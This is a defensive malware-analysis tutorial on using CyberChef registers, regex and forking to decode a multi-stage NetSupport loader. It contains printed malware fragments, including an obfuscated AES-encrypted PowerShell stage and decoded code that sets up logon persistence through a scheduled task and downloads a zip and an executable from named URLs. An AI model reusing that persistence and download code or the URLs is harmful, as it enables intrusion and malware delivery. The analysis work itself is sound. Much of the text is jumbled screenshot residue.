Advanced CyberChef Techniques for Configuration Extraction - Detailed Walkthrough and Examples

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Advanced CyberChef techniques using Registers, Regex and Flow Control

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Apply to each lin	ne			qqT = 787 Dim JuF JuF = MAc(yAq) If JuF = 7000 + 1204 Then				~
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We're all used to the regular CyberChef operations like "From Base64", From Decimal and the occasional magic decode or xor. But what happens when we need to do something more advanced?

Cyberchef contains many advanced operations that are often ignored in favour of Python scripting. Few are aware of the more complex operations of which Cyberchef is capable. These include things like Flow Control, Registers and various Regular Expression capabilities.

In this post. We will break down some of the more advanced CyberChef operations and how these can be applied to develop a configuration extractor for a multi-stage malware loader.

What Are These Advanced Operations?

Before we dive in, let's look a quick summary of the operations we will demonstrate.

- Registers
- Regular Expressions and Capture Groups
- Flow Control Via Forking and Merging
- Merging

- Subtraction
- AES Decryption

After demonstrating these individually to show the concepts, we will combine them all to develop a configuration extractor for a multi-stage malware sample.

Obtaining the Sample

The sample demonstrated can be found on Malware Bazaar with

Advanced Operation 1 - Registers

Registers allow us to create variables within the CyberChef session and later reference them when needed.

Registers are defined via a regular expression capture group, and allow us to create a variable with unknown value that fits according to a known pattern within the code.

Registers Use Case

Below we have a powershell script utilising AES decryption.

Traditionally, this is easy to decode using CyberChef by manually copying out the key value and pasting it into an "AES Decrypt" Operation.

	\$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAAAAOSJcRBovNv75MtNPRQryhlrwkaJ2ZpI99R6oR34ORB2TAiMUg4BqXsVq										
	<pre>\$sUcUPxU = 'dVdqd2RRTnlFbW1vdFNidFR3eEViQXJqQ0l3a2JWQ3M='; AES Decryption Key</pre>										
6	<pre>\$GDJXGNY = New-Object 'System.Security.Cryptography.AesManaged';</pre>										
	<pre>\$GDJXGNY.Mode = [System.Security.Cryptography.CipherMode]::ECB;</pre>										
9	<pre>\$GDJXGNY.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;</pre>										
10	<pre>\$GDJXGNY.BlockSize = 128;</pre>										
11	\$GDJXGNY.KeySize = 256;										
12	<pre>\$GDJXGNY.Key = [System.Convert]::FromBase64String(\$sUcUPxU);</pre>										
13	<pre>\$KPwOZ = [System.Convert]::FromBase64String(\$Dzxb);</pre>										
14	<pre>\$LdCzhhCP = \$KPwOZ[015];</pre>										
15	\$GDJXGNY.IV = \$LdCzhhCP;										
16	<pre>\$wqkPqQHMD = \$GDJXGNY.CreateDecryptor();</pre>										
17	<pre>\$EcXHdQkBU = \$wqkPqQHMD.TransformFinalBlock(\$KPwOZ, 16, \$KPwOZ.Length - 16);</pre>										
18	\$GDJXGNY.Dispose();										

Here we can see the key copied into an AES Decrypt operation.



This method of manually copying out the key works effectively, however this means that the key is "hardcoded" and the recipe will not be applicable to similar samples using the same technique.

If another sample utilises a different key, then this new key will need to be manually updated for the CyberChef recipe to work.

Registers Example 1

By utilising a "Register" operation, we can develop a regular expression to match on the structure of the AES key and later access this via a register variable like "\$R0"

The AES key in this case is a 44 character base64 string, hence we can use a base64 regular expression of 44-46 characters in order to extract out the AES Key.

We can later access this via the \$R0 variable inside of the AES Decrypt operation.

Register				⊘ 11							
Extractor '([a-zA-Z0-9\=\+	Case insensitive										
Multiline matching Dot matches all											
<pre>\$R0 = dVdqd2RRTnlFb</pre>	<pre>\$R0 = dVdqd2RRTnlFbW1vdFNidFR3eEViQXJqQ0l3a2JWQ3M=</pre>										
AES Decrypt				⊘ 11							
AES Decrypt Kev \$R0	HEX 🕶	IV		S II HEX ▼							

Registers Example 2

In a previous stage of the same sample, the malware utilises a basic subtract operation to create ASCII char codes from an array of large integers.

3	Dim qqT	
4	qqT = 787	
5	Dim JuF	
6	JuF = MAc(yAq)	
7	If JuF = 7000 ·	+ 1204 Then
8	For Each QbJ In yA	q
9	Dim RrB	
10	RrB = RrB & C	hr(QbJ - qqT)
11	Next	
12	End If	
13	lkV = RrB	"787" is subtracted from each of these decimal values to
14	End Function	create ASCII charcodes.
15	Function bvM()	
16	Dim yAq	<u>/</u>
17	Dim qxf	
18	yAq = Array(819,832	,856,907,888,886,904,903,892,898,897,867,898,895,
19	Dim OeE	
20	qxf = Array(899,89	8,906,888,901,902,891,888,895,895,833,888,907,888

Traditionally this would be decoded by manually copying out the 787 value and applying this to a subtract operation.

However, again this causes issues if another sample utilises the same technique but a different value.

A better method is to create another register with a regular expression that matches on the 787 value.

Here we can see an example of this, where a Register has been used to locate and store the 787 value inside of \$R0. This can later be referenced in a subtract operation by referencing \$R0.

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Recipe	2 🖿 🕯	Input		+		Ð 1		I
Register	⊘ 11	Function lkV(ByVal yAq) Dim QbJ						^
Extractor \w+ = (\d+)	Case insensitive	Dim qqT qqT = 787 Dim Ju⊦]					
Multiline matching	Dot matches all	JuF = MAc(yAq) If JuF = For Each QbJ	7000 + 1204 Then In yAq					
\$R0 = 787		Dim RrB RrB = Rr Next	`B & Chr(QbJ - qqT)					
		End If						~
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Extra	cting the 787 value (using Registers			8) []	1
		1	4					



Regular Expressions

Regular expressions are frustrating, tedious and difficult to learn. But they are extremely powerful and you should absolutely learn them in order to improve your Cyberchef and malware analysis capability.

In the development of this configuration extractor, regular expressions are applied in 10 separate operations.

Regular Expressions - Use Case 1 (Registers)

The first use of regular expressions is inside of the initial register operation.

Here we have applied a regex to extract out a key value used later as part of the deobfuscation process.

The key use of regex here is to be able to generically capture keys related to the decoding process. Avoiding the need to hardcode values and allowing the recipe to work across multiple samples.

Recipe Regul	ar Expression to Captur	e the 787 variable and store it in a register
Register	⊘ 11	Function lkV(ByVal yAq) Dim QbJ
Extractor \W+ = (\d+)	Case insensitive	Dim qqT qqT = 787 Dim JuF
Multiline matching	Dot matches all	JuF = MAc(yAq) If JuF = 7000 + 1204 Then For Each Obl In yAg
\$R0 = 787		Dim RrB RrB = RrB & Chr(QbJ - qqT)
Regular expression	⊘ II	Next End If

Regular Expressions - Use Case 2 (Isolating Text)

The second use of regular expressions in this recipe is to isolate the main array of integers containing the second stage of the malware.

The second stage is stored inside of a large array of decimal values separated by commas and contained in round brackets.

By specifying this inside of a regex, we can extract and isolate the large array and effectively ignore the rest of the code. This is in contrast to manually copying out the array and starting a new recipe.

A key benefit here is the ability to isolate portions of the code without needing to copy and paste. This enables you to continue working inside of the same recipe

Recipe	🖯 🖬 i		Input + 🗅 🕀 🖥 🖬		
Multiline matching	Dot matches all	^	Dim yAq Dim qxf		
\$R0 = 787			VAU = Array(819,832,856,907,888,886,904,903,892,898,897,867,898,895,892,886,908,819,872,897,8 69,888,902,903,901,892,886,903,888,887,819,870,903,884,901,903,832,867,901,898,886,888, 603,003,010,926,006,006,007,932,009,007,909,016,010,933,884,901,903,932,907,909,006,070,003		
Regular expression	⊘ 11		908,895,888,819,891,892,887,887,888,897,819,832,852,901,890,904,896,888,897,903,863,863,863,863,863,863,863,863,863,86		
Built in reaexes User defined			19,823,855,909,907,885,819,848,819,826,852,852,852,852,852,852,852,852,852,852		
Regex \(([\d,]{1000,})\)]				,903,865,867,869,868,901,908,891,895,901,906,894,884,861,837,877,899,860,844,844,869,84 1,898,869,838,839,866,869,853,837,871,852,892,864,872,890,839,853,900,875,902,873,900,8 53,900,807,838,859,866,869,853,837,871,852,892,864,872,890,839,853,900,875,902,873,900,8 53,900,807,838,859,866,844,964,966,969,901,870,972,961,870,963,960,853,958,967,867,967, ■ 18588 = 34 Tr Raw Rytes ← 15
	11.		Output		
Case insensitive			819,832,856,907,888,886,904,903,892,898,897,867,898,895,892,886,908,819,872,897,869,888 ,902,903,901,892,886,903,888,887,819,870,903,884,901,903,832,867,901,898,886,888,902,90 2,819,826,886,896,887,833,888,907,888,826,819,832,874,892,897,887,898,906,870,903,908,8		
✓ ^ and \$ match at newl	ines		95,888,819,891,892,887,887,888,897,819,832,852,901,890,904,896,888,897,903,863,892,902, 903,819,910,834,886,819,899,898,906,888,901,902,891,888,895,895,833,888,907,888,819,823		
Dot matches all	Unicode support	~	,855 Regular Expression to extract the primary array of integers 65,86 containing the next stage of the malware. ,897 3		

Regular Expressions - Use Case 3 (Appending Values)

Occasionally you will need to append values to individual lines of output.

In these cases, a regular expression can be utilised to capture an entire line (.*) and then replace it with the same value (via capture group referenced in \$1) followed by another value (our initial register).

The key use case is the ability to easily capture and append data, which is essential for operations like the subtract operator which will be later used in this recipe.

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Find / Replace		⊘ II		832 856	
Find (.*)		REGEX 🕶		907 888 886	
Replace \$1 \$R0		Global match	n	904 903 892	
Case insensi	itive 🔽 N	Iultiline matching		898 897	
Be	ofore Find/R		867 898 895		
				892 886	

Recipe	i 🖿 🖬	Ì	Input
		^	Dim yAq
Fork	⊗ II		D1m qx+
Split delimiter	Nerge delimit \n Ignore errors		Output
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Find / Replace	0 11		832 787
rind / Replace	0 4		856 787
Find			907 787
(.*)	REGEA		886 787
Paulage			904 787
\$1 \$R0	🗌 Global match		903 787
			892 787
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Case insens	itive 🗹 Multiline matching		897 787
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			895 787
Dot matche	s all		
Subtr	After Find/Replace		7 7 7

Regular Expressions - Use Case 4 (Extracting Encryption Keys)

We can utilise regular expressions inside of register operations to extract encryption keys and store these inside of variables.

Here we can see the 44 character AES key stored inside of the \$R1 register.

This is effective as the key is stored in a particular format across samples. Leveraging regex allows us to capture this format (44 char base64 inside single quotes) without needing to worry about the exact value.





Regular Expressions - Use Case 5 (Extracting Base64 Text)

Regular expressions can be used to isolate base64 text containing content of interest.

This particular sample stores the final malware stage inside of a large AES Encrypted and Base64 encoded blob.

Since we have already extracted the AES key via registers, we can apply regex to isolate the primary base64 blob and later perform the AES Decryption.



Regular Expressions - Use Case 6 (Extracting Initial Characters)

This sample utilises the first 16 bytes of the base64 decoded content to create an IV for the AES decryption.

We can leverage regular expressions and registers to extract out the first 16 bytes of the decoded content using . {16}.

This enables us to capture the IV and later reference it via a register to perform the AES Decryption.



AES Decrypt			\bigcirc II
Kev \$R1			BASE64 🕶
™ \$R2	UTF8 🕶	Mode ECB	
Input Raw	Outp Raw	ut /	

Regular Expressions - Use Case 6 (Removing Trailing Null Bytes)

Regular expressions can be used to remove trailing nullbytes from the end of data.

This is particularly useful as sometimes we only want to remove null bytes at the "end" of data. Whereas a traditional "remove null bytes" will remove null bytes everywhere in the code.

In the sample here, there are trailing nullbytes that are breaking a portion of the decryption process.

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db	bd	ab	b2	54	36	c5	a5	5b	b1	ef	77	f4	b3	eb	75	b4	70	4a	8e	a2	97	f4	a2	c7	46	9a	7c	7a	b8	
90	e9	fa	cf	fb	99	54	12	54	4a	25	b7	95	54	d9	b7	с9	6e	f5	5b	2a	7d	2c	24	50	02	75	2a	06	d5	
6f	d8	ad	48	be	e5	b0	2b	6a	7d	05	6b	6b	f9	94	4c	45	7f	e9	45	df	29	3d	e3	Øf	43	ff	07	93	9d	
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By applying a null byte search with 0+ we can use a find/replace to remove these trailing null bytes.

In this case, the 0+ looks for one or more null bytes, and the \$ specifies that this must be at the end of the data.



After applying this operation, the trailing null bytes are now removed from the end of the data.

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 7c
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Flow Control Via Forking

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Forking allows us to separate values and act on each of them independently as if they were a separate recipe.

In the use case below, we have a large array of decimal values and we need to subtract 787 from every single one. A large issue here is that in order to subtract 787, we need to append 787 after every single decimal value in the below screenshot. This would be a nightmare to do by hand.

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6,886,896,887,833,888,907,888,826,819,832,874,892,897,887,898,906,870,903,908,895,8	388,819,8
91,892,887,887,888,897,819,832,852,901,890,904,896,888,897,903,863,892,902,903,819,	,910,834,
886,819,899,898,906,888,901,902,891,888,895,895,833,888,907,888,819,823,855,909,907	7,885,819
,848,819,826,852,852,852,852,852,852,852,852,852,852	52,852,85
2,852,866,870,861,886,869,853,898,905,865,905,842,840,864,903,865,867,869,868,901,5	908,891,8
95,901,906,894,884,861,837,877,899,860,844,844,869,841,898,869,838,839,866,869,853,	837,871,
852,	869,901
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97,8 FOIKING enables us to act on each value independently as in it	95,864,
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	44,835,
862,863,909,897,840,844,904,842,864,860,888,836,897,899,890,890,854,895,887,909,872	2,889,867
RBC 0 = 1	w Bytes 🔶 LA

As the data is structured and separated by commas, we can apply a forking operation with a split delimiter of comma and a merge delimiter of newline.

The split delimiter is whatever separates the values in your data, but the merge delimiter is how you want your new data structured.

At this point, every newline represents a new input data, and all future operations will act on each line independently.

		RBC 10508 📻 34
Fork	⊘ 11	Output
Split delimiter , \n	Ignore errors	819 832 856
Find / Replace	⊘ 11	907 888
Find (.*)	REGEX 🕶	886 904
Replace \$1 \$R0	Global match	903 892 898

If we now go ahead and apply a find replace, we can see that the operation has affected each and every line individually.

		AUC 10508 = 34
Find / Replace	⊘ 11	Output
Find (.*)	REGEX 🕶	819 787
Replace \$1 \$R0	Global match	832 787 856 787 907 787
Case insensitive	✓ Multiline matching	888 787 886 787 904 787
Dot matches all		903 787 892 787 898 787
		897 787 867 787
Subtract	○ 11	895 787

If we had applied the same concept without a fork, only a single 787 would have been added to the end of the entire blob of decimal data.



After applying the find/replace, we can continue to apply a subtraction operation and a "From Decimal".

This reveals the decoded text and the next stage of the malware.

Find / Replace	⊘ 11	Function 1kV(ByVal yAq) Dim QbJ		^
Find (.*)	REGEX -	$\begin{array}{l} \text{Dim } qq1 \\ qqT = 787 \\ \text{Dim } qr \\ qT = 787 \end{array}$		
Replace \$1 \$R0	Global match	Jum Jur JuF = MAc(yAq) If JuF = 7000 + 1204 Then	Te Ray Byter	↓
Case insensitive	✓ Multiline matching	Output		:
Dot matches all		Ē		^
Subtract	⊘ 11	e c Decoded data	after forking operations.	
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From Decimal	0 11	o n p		
Delimiter Space	Support signed values	o 1 i		

Note that the "Merge Delimiter" mentioned previously is purely a matter of formatting.

Once you have decoded your content as in the screenshot above, you will want to remove the merge delimiter to ensure that all the decoded content is together.

Here we can see the full script after removing the merge delimiter.

	Jul - mc(ymy)
Fork Split delimiter Merge deli	Remove Merge Delimiter after recipe is working.
,	EverytionDelicy UnPertnicted Start Descare 'end ave' WindowStyle bidden Argumentlist
Find / Replace	III {/c powershell.exe \$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAAAAAASJcRBovNv75MtNPRQryhlrwkaJ2ZpI99R6oR340RB2TAiMUg4BqXsVqByn3H09MwRrSU
Find (.*) REGE	<pre>SLIBGPPPX+16VPwG4yZGppZHYPpD9jG1+2MOOiwffjn499AN2tuTzuIhAfWMxeNlMCELD6AApua7QkMmp2Wnt0IzXY TqyZp8s2WqIT8HspdMR7faIakYdXXp8FjCfqYo6pAE+WLozFsquCaIChb236ce6g90KLzn59u7MIe1npggCldzUfPs6</pre>
Replace \$1 \$R0 Global ma	SpXCvKIBUZmxtVac0NkrYFG4SVFgD0vzdMbHGYrkK0x/3jiXYEJmXLH1CFV+6cEJX712CmIjy5bWEsnxfmeFnXzuzSs WMosU4PD+bMGDRnardA8F++LpiawRe71CAhHGehCESZOEPa4iEH0PWFujrtq5p6U6IqG3xMCAW2uI4FKmTp3TzgeAf8 rloSbi3v0I8vHBF58dg0olCImHtz4W3MjLXhZcvk+freodJi7ItH1k7pgjWgadQ /2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQLDdgdz0vrZVfW2ZmS2F
Case insensitive Vultiline matching	/7A007bMWQgZDJEUIYPIwYOv7tueeOei3Q+dPcMXcPaqSBFnOv9ULZ3dJNi2PIYd1m3X8oQjp /b3gLdIcmfbWDTYTa6VIQxXe+2v0l2lUMjhXG7EN7lrYFi3mBKLpeUq+2gDm7vIiXqHdtitV0nw3OnzK6YGGIrTTS7H JE3NgqU9vX
Dot matches all	<pre>/H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxuLBEMTitUeRA4fqg4fDFfgy4Jm9mKBADwKYF jWH7p9LX2Mb2ASHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCv1wxYtLRNorscF/TXjcSG /dgCijU08u8FxexUlCEHL1AdxUCmmISYvZNbXf/xiTE9HDWoZIZJQ0dqG0x/XGIymHh9h8rSToxd4gtaA6S</pre>
STEP 🗾 BAKE!	/JaTfXc8acV0LtkZgilSXsach8Ux+zzOmw /P78B0qJUnFYPr2q6siRgJ9uVyOrtj+Aatv51wTGF+tN0dTenFh2bdLxUaS72kZPrs5JNM1jhh8Udr+WxPHCzB8Rpb7

Flow Control - Merging

Merging is essentially an "undo" for forking operations.

After you've succesfully decoded content using a fork, you will want to make sure to apply a Merge to ensure that the new content can be analysed appropriately.

Without a merge, all future operations would affect only a single character and not the entire script.



AES Decryption

Cyberchef is capable of AES Decryption via the AES Decrypt operation.

To utilise AES decryption, look for the key indicators of AES inside of malware code and align all the variables with the AES operation.

eg, make sure to align the Key, Mode and IV. Then just plug these values into CyberChef.



AES Decrypt Image: Constraint of the second sec

Recipe	Î	Input + 🗅 🔁 🔳	
A-Za-z0-9+/= ✓ Remove non-alphabet chars Strict mode	^	AAAAAAAAAAAAAAAAAAAAAAAASJcRBovNv75MtNPRQryhlrwkaJ2ZpI99R6oR340RB2TAiMUg4BqXsVqByn3H09MwR rSUJSLIBGPPPX+16VPwG4yZGppZHYPpD9jGI+2MO0iwfFjn499AN2tuTzuIhAfWMxeNIMCELD6AApua7QkMmp2W nt0IzXYTqyZp8s2WqIT8HspdMR7faIakYdXXp8FjCfqYo6pAE+WLozFsquCaIChb236ce6g90KLzn59u7MIe1np ggCldzUfPs65pXCvKIBUZmxtVac0NkrYFG4SVFgD0zdMbHGYrkK0x/3jiXYEJMLHCFV+6CEJX7I2CmIjy5bW	~
Drop bytes 🛇 🔢		AW2uI4FKmTp3TzgeAf8rloSbi3vOI8vHBF58dgOolCImHtz4W3MjLXhZcvk+freodJi7ItH1k7pgjWgadQ /2F822xR+TCQyrTCItfM+xKW7pzwsFSQf8prX60+3RtjXQLDdgdz0vrZVfW2ZmS2F	
Start Length 0 0 16 0		<pre>//Movin/mwggcbicitriwitov/ruecveisgturc/ncradsbritov90L230Jn1221ru1misAo0gjp //SgLdtcmfbWDTYTa6VIQxXe+2v0121UMjhXG7EN71rYFi3mBKLpeUq+2gDm7vIiXqHdtitV0nw3OnzK6YGGIrT TS7HJE3NgqU9vX</pre>	
Apply to each line		/H2QtuHsfFk4mH5xIO+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxuLBEMTitUeRA4fqg4fDFfgy4Jm9mKBAD wKYFjWH7p9LX2Mb2ASHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCv1wxYtLRNorscF/TXjcSG mec 1196 〒 1 Tr Raw Bytes ←	↓ LF
AES Decrypt 🚫 🔢		Output	3
Kev dVdqd2RRTnlFbW1vdFNidFR3eEViQXJqQ0 BASE64 ~		<pre>function QtR(\$kBv, \$LMY){[I0.File]::WriteAllBytes(\$kBv, \$LMY)};function sri(\$kBv){if (\$kBv.EndsWith('.zip') -eq \$True){\$fwef = '\' + (Get-Item \$kBv).Basename; for the function of the fu</pre>	^
IV 00 00 00 00 00 00 HEX - Mode ECB		<pre>\$5cript:fghrth = Join-Path \$Me1 \$twef;Expand-Archive -Path \$kBV -DestinationPath \$fghrth; \$Script:ghyth = 1; del \$kBv}else{if (\$ghyth -eq 1){mv -Path \$kBv -Destination \$fghrth; \$kBv = Join-Path \$fghrth infosecpad.exe};\$Action = (New-ScheduledTaskAction</pre>	
Input Output Raw Raw	~	<pre>-Execute \$kBv);\$Trigger = New-ScheduledTaskTrigger -AtLogOn;Register-ScheduledTask -TaskName "BackgroundCheck" -Action \$Action -Trigger \$Trigger -RunLevel "Highest" -Force;Start \$kBv};function WTk(\$Wxf){\$PSt = New-Object (wva @(4352,4375,4380,4361,4375,4372,4341,4382,4379,4375,4384,4390)); [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;\$LMY =</pre>	

Eventually, you can effectively automate this using Regular Expressions and Registers as previously shown.

AES Decrypt			\odot II
Kev \$R1			BASE64 🕶
IV \$R2	UTF8 🕶	Mode ECB	
Input Raw	Outp Rav	out V	

Configuration Extractor Walkthrough (22 Operations)

Utilising all of these techniques, we can develop a configuration extractor for a NetSupport Loader with 3 separate scripts that can all be decoded within the same recipe.

This requires a total of 22 operations which will be demonstrated below.

Input	+		€	Î	
Function lkV(ByVal yAq)					^
Dim QbJ					
Dim qqT					
qqT = 787					
Dim JuF					
JuF = MAc(yAq)					
If JuF = 7000 + 1204 Then					
For Each QbJ In yAq					
Dim RrB					
		-			×
RBC 10508 34		IT	Kaw By	tes	€ 11
Output		8		ſt.	0
Net.WebClient					
https://					
<pre>https://raekessler.com/wp-content/uploads/2023/04/Tranch.zip</pre>					
https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe					

Stage 1 Decoding (7 Operations)

The initial script is obfuscated using a large array of decimal integers.

For each of these decimal values, the number 787 is subtracted and then the result is used as an ASCII charcode.



In order to decode this component, we must

- Use a Register to extract the subtraction value
- Use a Regular Expression to extract the decimal array
- Use Forking to Seperate each of the decimal values
- Use a regular expression to append the 787 value stored in our register.
- Apply a Subtract operation to produce ASCII charcodes
- Apply a "From Decimal" to produce the 2nd stage
- Use a Merge operation to enable analysis of the 2nd stage script.

Operation 1 - Extracting Subtraction Value

The initial subtraction value can be extracted with a register operation and regular expression.

This must be done prior to additional analysis and decoding to ensure that the subtraction value is stored inside of a register.

Recipe	8 🖿 î	Input
Register	⊘ ॥ ^	Function lkV(ByVal yAq) Dim QbJ
Extractor w+ = (d+)	Case insensitive	Dim qqT qqT = 787 Dim Ju⊨
Multiline matching	Dot matches all	JuF = MAc(yAq) If JuF = 7000 + 1204 Then For Each QbJ In yAq
\$R0 = 787		Dim RrB RrB = RrB & Chr(QbJ – qqT) Next
Regular expression	⊘ II	acc 10508 = 34

Operation 2 - Extracting the Decimal Array

The second step is to extract out the main decimal array using a regular expression and a capture group.

The capture group ensures that we are isolating the decimal values and ignoring any script content surrounding it.

This regex looks for decimals or commas $[\d,]$ of length 1000 or more $\{1000,\}$. That are surrounded by round brackets (and).

The inner brackets without escapes form the capture group.

	Next
Regular expression 🛇 11	wec 10508 == 34
Built in regexes User defined	Output
Regex \(([\d,]{1000,})\)	819,832,856,907,888,886,904,903,892,898,897,867,898,895,892,886,908,819,872,897,869 886,903,888,887,819,870,903,884,901,903,832,867,901,898,886,888,902,902,819,826,886 888,826,819,832,874,892,897,887,898,906,870,903,908,895,888,819,891,892,887,888 890,904,896,888,897,903,863,892,902,903,819,910,834,886,819,899,898,906,888,901,902 888,907,888,819,832,855,900,907,885,819,810,826,852,852,852,852,852,852,852
Case insensitive A and \$ match at newlines	852, 852, 852, 852, 852, 852, 852, 852,
Dot matches all Unicode support Astral support	899,855,844,893,858,860,830,837,864,866,866,866,892,906,889,889,893,893,897,839,844,844,852 909,904,860,891,852,889,874,864,907,888,865,895,864,854,856,863,855,841,852,852,852 864,896,899,837,874,897,903,866,860,909,875,876,871,900,908,877,899,843,902,837,874 902,899,887,864,866,864,288,884,860,884,894,876,887,875,875,876,894,3857,893,854,889
Display total	 852,856,830,874,863,898,909,857,902,900,904,854,884,860,854,891,885,837,838,841,886 862,863,909,897,840,844,904,842,864,860,888,836,897,899,890,890,854,895,887,909,872 899,875,854,905,862,866,853,872,877,896,907,903,873,884,886,835,865,894,901,876,857

Operation 3 - Seperating the Decimal Values

The third operation leverages a Fork to separate the decimal values and act on each of them independently.

The Fork defines a delimiter at the commas present in the original code, and specifies a Merge Delimiter of n to improve readability.

Display total	Output format List capture groups	REC 10508 = 34
		Output
Fork	⊗ II	819
Split delimiter	Merge delimiter	856 907
		888
Find / Replace	⊘ Ⅱ	886 904
Eind	Poplace	903

Operation 4 - Appending the Subtraction Value

The fourth operation uses a regex find/replace to append the 787 value to the end of each line created by the forking operation.

Note that we have used (.*) to capture the original decimal value, and have then used \$1 to access it again. The \$R0 is used to access the register that can created in Operation 1.

, \n	Ignore errors	
		Output
Find / Replace	\odot II	819 787
		832 787
Find REGEX -	Replace	856 787
(.*)	\$1 \$R0	907 787
		888 787
		886 787
Global match		904 787
		903 787
_	_	892 787
🗹 Multiline matching	Dot matches all	898 787
		897 787
		067 707

Operation 5 - Subtracting the Values

We can now perform the subtraction operation after appending the 787 value in Operation 4.

This produces the original ASCII charcodes that form the second stage script.

Note that we have specified a space delimiter as this is what is between our decimal values and subtraction value in operation 4.

		REC 10508 - 34
Multiline matching	Dot matches all	Output
Subtract	⊘ 11	32 45
Delimiter Space		69 120 101
From Decimal	⊘ 11	99 117
Delimiter Space	Support signed values	105 111

Operation 6 - Decoding the ASCII Codes.

We can now decode the ASCII codes using a "From Decimal" operation.

This produces the original script. Though the values are separated via a newline due to our previous Fork operation.



Operation 7 - Merging the Result

We now want to act on the new script in it's entirety, we do not want to act on each character independently.

Hence, we will undo our forking operation by applying a Merge Operation and modifying the "Merge Delimiter" of our previous fork to an empty space.

Fork		⊘ 11
Split delimiter	Merge delimit	Ignore errors
Delimiter Space	Support signed values	REC 10508 = 34
Merge	⊘ ॥	<pre>-ExecutionPolicy UnRestricted Start-Process 'cm powershell.exe \$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAAAOSJcRBovNv75MtNPRQryhlrwka VPwG4yZGppZHYPpD9jGI+2MOOiwffjn499AN2tuTzuIhAfWM dXXp8FjCfqYo6pAE+WLozFsquCaIChb236ce6g90KLzn59u7</pre>
Register Extractor '([a-zA-Z0-9\=\+\/]{44	Case insensitive	kK0x/3jiXYEJmXLH1CFV+6cEJX7I2CmIjy5bWEsnxfmeFnXz PWFujrtq5p6U6IqG3xMCAW2uI4FKmTp3TzgeAf8rloSbi3vC /2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQL /7A007bMWQgZDJEU1YPIwY0v7fueeOei3Q+dPcMXcPaqSBFr /b3gLdIcmfbWDTYTa6VIQxXe+2v0121UMjhXG7EN71rYFi3m /H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BH

Stage 2 - Powershell Script With AES Encryption (8 Operations)

After 7 operations we have now uncovered a 2nd stage Powershell script that utilises AES Encryption to unravel an additional stage.

The key points in this script that are needed for decrypting are highlighted below.

1	#-ExecutionPolicy UnRestricted Start-Process 'cmd.exe' _WindowStyle bidden _Angumen
3	\$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAAAAAASJcRBovNv75MtNPRQryhliwkaJ2ZpI99R6oR34ORB2TAiMUg4BqX
4 5	<pre>\$sUcUPxU = 'dVdqd2RRTnlFbW1vdFNidFR3eEViQXJqQ0l3a2JWQ3M='; AES Key</pre>
6 7	<pre>\$GDJXGNY = New-Object 'System.Security.Cryptography.AesManaged';</pre>
8	<pre>\$GDJXGNY.Mode = [System.Security.Cryptography.CipherMode]::ECB; AES Mode</pre>
9 10	<pre>\$GDJXGNY.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; \$GDJXGNY.BlockSize = 128;</pre>
11	\$GDJXGNY.KeySize = 256;
12	<pre>\$GDJXGNY.Key = [System.Convert]::FromBase64String(\$sUcUPxU);</pre>
13	<pre>\$KPwOZ = [System.Convert]::FromBase64String(\$Dzxb);</pre>
14	
15	LdCzhhCP = KPwOZ[015];
16	\$GDJXGNY.IV = \$LdCzhhCP;
17	

To Decode this stage, we must be able to

- Use Registers to Extract the AES Key
- Use Regex to extract the Base64 blob
- Decode the Base64 blob
- Use Registers to extract an Initialization Vector
- Remove the IV from the output
- Perform the AES Decryption, referencing our registers
- Use Regex to Remove Trailing NullBytes
- Perform a GZIP Decompression to unlock stage 3

Operation 8 - Extracting the AES Key

We must now extract the AES Key and store using a Register operation.

We can do this by applying a Register and creating a regex for base64 characters that are exactly 44 characters in length and surrounded by single quotes. (We could also adjust this to be a range from 42 to 46)

Now we have the AES key stored inside of the \$R1 register.

Register	0 11	RrB = RrB & Chr(QbJ - qqT) Next
		*ec 10508 = 34
'([a-zA-Z0-9\=\+\/]{44})'	Case insensitive	Output
Multiline matching	ot matches all	/H2QtuHsfFk4mH5xIO+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxuLBEMTitUeRA SHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCv1wxYtLRNorscF/TXjcSG/
<pre>\$R1 = dVdqd2RRTn1FbW1vdFNidFR3eEVi</pre>	iQXJqQ0l3a2JWQ3M=	/xiTE9HDWoZIZJQ0dqG0x/XGIymHh9h8rSToxd4gtaA6S/JaTfXc8acV0LtkZgilSXs /P78B0qJUnFYPr2q6siRgJ9uVyOrtj+Aatv51wTGF+tN0dTenFh2bdLxUaS72kZPrs5
Regular expression	0 11	<pre>/SAltzulbzlKQWaZ3qLASG4/tGc+y013l6w/Hz9E1wqQcyUrD6F1M=';\$SUcUPxU = 'dVdqd2RRTnlFbW1vdFNidFR3eEViQXJqQ013a2JWQ3M='; System.Security.Cryptography.AesManaged';\$GDJXGNY.Mode =</pre>
Built in regexes User defined		<pre>[System.Security.Cryptography.CipherMode]::ECB;\$GDJXGNY.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;\$GDJXGNY.BlockSiz 256;\$GDJXGNY.Key = [System.Convert]::FromBase64String(\$sUcUPxU);\$KP</pre>
Regex [a-zA-Z0-9\=\+/]{100,}		<pre>[System.Convert]::FromBase64String(\$Dzxb);\$LdCzhhCP = \$KPwOZ[015] = \$GDJXGNY.CreateDecryptor();\$EcXHdQkBU = \$wqkPqQHMD.TransformFinal 16).\$GDJYGNY_Discose().\$LYDSDY = New_Object_System_TO_MemoryStream(</pre>

Operation 9 - Extracting the Base64 Blob

Now that we have the AES key, we can isolate the primary base64 blob that contains the next stage of the Malware.

We can do this with a regular expression for Base64 text that is 100 or more characters in length.

We're also making sure to change the output format to "List Matches", as we only want the text that matches our regular expression.



Operation 10 - Decoding The Base64

This is a straightforward operation to decode the Base64 blob prior to the main AES Decryption.



